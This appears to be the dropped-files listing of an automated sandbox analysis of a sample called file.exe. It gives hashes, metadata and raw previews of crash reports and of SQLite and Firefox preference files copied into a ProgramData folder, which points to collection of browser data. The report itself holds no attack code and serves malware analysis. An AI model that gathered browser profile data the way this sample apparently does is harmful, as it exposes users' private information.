SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHDHIDG\IJKKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHDHIDG\JDHCBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_31a03d39eaf3456617715dbd42ad2f694d8d936_e5530a89_b5071b11-faba-4c62-8f2e-6bdb744cb7c5\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2984594192062293
Encrypted:	false
SSDEEP:	192:06UwaCDvePlc0BmWh03jpTZrirPspUnzuiFRZ24IO8khB:6xoeNXBmWGjKApGzuiFRY4IO8O
MD5:	310BE91F5D691639A8956B4C2DD7DDAA
SHA1:	E3C0ACED2D324D93683B25851196CE949151D315
SHA-256:	C67BB1F6F76A77AB11F85F4FF67CFC19AACADB83750E2AE32C8B32147F76B0B8
SHA-512:	BDD643027F5765E9A61EB7EABA98E3531DA3067B76DD375A70DF9841F53DACC38AF8C899D4DF443D52B8842A488E0F0860A4F2C2A4BC2E6F1195BFCA7DD823C2
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.5.9.6.3.8.0.0.1.9.9.3.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.5.9.6.3.8.7.2.0.7.5.1.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.5.0.7.1.b.1.1.-.f.a.b.a.-.4.c.6.2.-.8.f.2.e.-.6.b.d.b.7.4.4.c.b.7.c.5.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.f.9.5.6.2.c.d.-.0.6.4.7.-.4.5.4.1.-.9.0.b.f.-.f.1.1.1.6.4.8.5.e.0.3.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.9.4.-.0.0.0.1.-.0.0.1.5.-.d.9.5.0.-.6.2.e.2.3.d.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.4.9.2.d.7.6.8.e.7.9.7.3.1.6.2.4.b.c.d.f.2.e.7.6.1.5.f.9.1.8.0.0.0.0.f.f.f.f.!.0.0.0.0.8.e.f.e.c.6.6.e.5.7.e.0.5.2.d.6.3.9.2.c.5.c.b.b.7.6.6.7.d.1.b.4.9.e.8.8.1.1.6.e.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.7././.2.3.:.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_main.exe_812666da5b2f51c4c16d2b07f719a7c78639de5_61e28721_73515c69-440e-47be-bb34-66b4d951211c\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9541704378980315
Encrypted:	false
SSDEEP:	96:3KFJnc6dsehMX71fwQXIDcQic6EcErcw3U3d+HbHg/opAnQzOqg7ThVMkQBrsuNt:6zc6du0MAR436jVIzuiF2Z24lO8l
MD5:	BB2AE61C06AE8DCEE27C3ECB528508F9
SHA1:	5ECCC48340057AB4E63F1AD9C8FCDB99276F1EA5
SHA-256:	690333476BA1D2801F374CFE87C199FC12A8B594A68E4BF669C4E30AEB3971E4
SHA-512:	584E13C8FEE33C2E317FB88A813BE6598CEE0BB65725FF1F482375531282B91FA56588578A4BCCAA1878A1C21630983D18191371160D0145C5D7F69871A950B7
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.6.4.5.9.7.0.5.9.9.9.7.4.5.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.6.4.5.9.7.0.6.4.6.8.5.0.1.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.3.5.1.5.c.6.9.-.4.4.0.e.-.4.7.b.e.-.b.b.3.4.-.6.6.b.4.d.9.5.1.2.1.1.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.0.5.f.f.f.1.3.-.9.a.4.1.-.4.0.e.f.-.a.1.f.0.-.7.2.b.a.b.5.e.3.3.c.3.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.m.a.i.n...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.f.4.-.0.0.0.0.-.0.0.1.5.-.5.d.5.d.-.f.c.0.c.3.e.d.f.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.3.1.8.d.4.3.1.0.6.5.7.e.8.3.6.8.5.5.7.f.1.8.3.e.1.5.c.4.7.c.d.0.0.0.0.f.f.f.f.!.0.0.0.0.f.6.d.a.c.c.e.5.9.f.7.8.c.a.4.e.e.6.6.2.2.c.4.a.3.4.0.9.2.3.2.8.2.e.c.3.a.d.d.e.!.m.a.i.n...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.7.0././.0.1././.0.1.:.0.0.:.0.0.:.0.0.!.1.a.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2D28.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Jul 26 09:27:18 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	109494
Entropy (8bit):	2.2567826655800043
Encrypted:	false
SSDEEP:	384:7NHiCOK1M7R5AHw7GBxGvHMh33BPzGasr3dK+jU0/6wi24ZfzPh4NVb6e:7BiCOK+7RDIxdvPa/JCwi2eTh4/6e
MD5:	056622A1945DD4237C5F930337B8E8F7
SHA1:	CB35211C0204E05151F8CF230739F93EB4E7D30D
SHA-256:	50A0D37E6FF55599C1470A50E4D9052130DCE1731CEA697DC804C20386464240
SHA-512:	8B9E271FC759EA2BA474C5D65FF0461D27022BED2F8B998C6354391698BB12839C38AEC21F00EDAB7EF92DB78FC771865A60443C924D8C184EAB9796951225F8
Malicious:	false
Preview:	MDMP..a..... ........k.f............4...........4*..H.......<...\|1...........E..........`.......8...........T...........X{..^0...........1...........3..............................................................................eJ......<4......GenuineIntel............T............k.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2EDE.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8434
Entropy (8bit):	3.699896381568528
Encrypted:	false
SSDEEP:	192:R6l7wVeJaCl6wD6Y2DtSUHFgmf6nBtpDw89b9iasfDXQm:R6lXJr6wD6YgSUlgmfUBF9i5fzV
MD5:	12B5CF57C37515F8783A77F5CD54FD77
SHA1:	2A101C95F60BD29895AEBA35D375D8EB77118771
SHA-256:	1BE9B3079D2EB339B8873F878B511C0861692D908C5CC07FA8AA025669A7EE8A
SHA-512:	DD3D32B6F7E86EBA93CF604F8AEC1CA9915E9909BEC4CF105F379C458358BC77FBAB8BD184CFC68C6864E7FC48078768A4BF686B27409B33A22B5C7E9448D9EC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.0.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2F1E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4698
Entropy (8bit):	4.462234003654242
Encrypted:	false
SSDEEP:	48:cvIwWl8zs9Jg77aI9NKWpW8VYovYm8M4JGWO3Fq+q8v5WOl5fvted:uIjfXI7zr7V6J1XKY0Xted
MD5:	1D40C1350D6E1EA8F024B6D1D7E127AA
SHA1:	4887D743CD47FD94ACA2F707B3448F108371C862
SHA-256:	54FF86C3D6365A03D1F72DE6A450B94CF55F1028CA4F9DCA6402717D35E30E33
SHA-512:	876F8574419AC0E83470626EC672BE180728F5BA0DBE86F60ACC21F237E8F20AAC27D8BCCFC9954B10E56E7B671E98734068B85198BECF2875F54F03ED57C226
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="427709" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2F4B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87368
Entropy (8bit):	3.122268949230239
Encrypted:	false
SSDEEP:	1536:LrXkBoon2ahbWVka2aUD/5/JWdJQqy8q9H:LrXkBoon2ahbWVka2aUD/5/JWdJQqy82
MD5:	677033F62174354904A982B70DAE803F
SHA1:	E51CA71680ACB06670FBD02E1687BCFE64C44312
SHA-256:	6CDE66E14D66B058933B783498F0C4BCF80ABDDD57D14E1BAA5214E44DE69C3D
SHA-512:	6F64B6D334059B7C3E2B8D6FAA86FEE97363DF52F512E228283F149CD503EC9B9972D932BCFED06BDC8ECD8495FDCC6E14DB41109A3AA27B5F27EF25A0619C64
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2FB9.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.685311588036176
Encrypted:	false
SSDEEP:	96:TiZYWnZKl8JYNYjWhUnH3lYEZBItFizM+miw3Ly7aD2FgMJTwIY23:2ZD5KUCm7aKFgMJTHY23
MD5:	035D388C540ACB1DF02FD2962976A713
SHA1:	07BDF6697C4F7E56580BF5B2F447D63C0C167DBB
SHA-256:	F0C24BD840744B1784D9C665E06788A7045F81650E96733FFD6870C4690AE4F3
SHA-512:	33FD0078E942B37BC1B534F8295B297D2369F116E5D3C3506B0D50749E6498235F37FAADE013A6DC101C258F27811525AA9F314272305057256CF87FAD455292
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER36C8.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Jul 26 09:28:26 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	633042
Entropy (8bit):	0.9951640556183194
Encrypted:	false
SSDEEP:	768:YsLgwUu0qI1ZF6ybqn+MnF6ZX/5qKT7+ronpnGWxMYfCFg0N/Dsri:YstBI/veFYX/5conVGJYY
MD5:	DA0EA83BBCA0FADBD07ADEBBBA29EC03
SHA1:	A9D7D834163EC4AA3587964ED6AC69F1073E24A5
SHA-256:	EE5FBCB76BF5EC260C1D72E66E6497F3C7A5F13F50AC50B864E26BC89D7C6074
SHA-512:	43649592302B2818580E97993E37C3A1297E6C3FF6212B3436BBD0C04F4F064CC8F29C44A433C264D4DF8D048FFF4E75EA9A3F324E63BA1A59EDD4F4BE2E13C5
Malicious:	false
Preview:	MDMP..a..... .......:l.f............$...........x...8.......................N...........`.......8...........T...........P....z.......................!..............................................................................eJ......0"......Lw......................T............l.f.............................@..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3801.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6726
Entropy (8bit):	3.7214881855456787
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetb4A6FWFGhE8Yypz85aM4UB89bSADEpfoHGm:R6l7wVeJ4AZFGhE8YyqprB89bSAMfIGm
MD5:	A140732D3EFA60739F96F0A3756E5350
SHA1:	4A468568583F76EFC8CBAE5DF26418879D8A9965
SHA-256:	9D179D31A07A34E650012B23A1A0B82CB077C393622E5F165693B09A23F92D00
SHA-512:	08CB3965A46174569602344939AEC08773B869B56E37B66CD759756F7AB73E7A746C39F9D0593FA488586FEB3B02F01E4D8BE90E41191334E760DAFBF7E763AF
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.5.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3822.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4603
Entropy (8bit):	4.414208876339108
Encrypted:	false
SSDEEP:	48:cvIwWl8zstuJg771I9NKWpW8VYJYm8M4JD2+SWFUyq85/pCIf4X3l0d:uIjftkI7ur7VdJAzilfS3l0d
MD5:	B8D7AA17DA9F34895CD75463A5B14E1E
SHA1:	BC9A03D95F9F110A571F16D82C93196442596C8D
SHA-256:	4E2D486724791119EC36075EE9532073BD293EA387CF916E5C421A6587321936
SHA-512:	9A6CB3E1FF42218B7D499FDFC38DAB97DADCEFE2F2DF088DBA3862F3AA4374AFA05B971D8C37FAD4A8A39B0D40F6B22FE885BF46406BB60874EA057DA3C42987
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="427711" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3841.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	84606
Entropy (8bit):	3.1263426792047024
Encrypted:	false
SSDEEP:	768:PiudZyX5GydoVmy5De7B7okx3mAAiq56wp/HcNGlns3Ki:PyX5GGofdepokx33AiqUwp/HUGln1i
MD5:	10C051D0AE81ED9A323E848F8BE59AC0
SHA1:	C75473E7373FCC8ECA056E18F1C70DC88F97C052
SHA-256:	0024EF69C646FD2AE8EC89293913739889BD9C67DA8A57CD78C0517EB4A1075C
SHA-512:	CCC9D6AED497214B072587C364745B1798653B5AF5FC3846F10FE7C39E4ABDEE4D027C93D4C599A29B1A4C5DE27DFC3C86DADA55BA9DEF60BCC1B3F59C3BA17A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3880.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6851498621362686
Encrypted:	false
SSDEEP:	96:TiZYW05zp2nYgYDrWqnaH9YEZkxptFiT+lmXww4/8qaPFVMSToHIO23:2ZDfXKRrG4baPFVMSTooO23
MD5:	AB695C0215671C402061FD916B8B7A7E
SHA1:	C715F2824858A55D5EC87B5741265C480A0BD41F
SHA-256:	DBE1678969FC27D5E0850286610C3BC6DD1A6FD913542B1E72F219FC92E57A01
SHA-512:	894B4759A5222140861628B6FF7DCF4FCD77A5C25E83F1AB82E6E36BADE3FCA92FE67995D0CCA87D5C5132FCBA78752C83930A821788110FB918766016B435BB
Malicious:	false
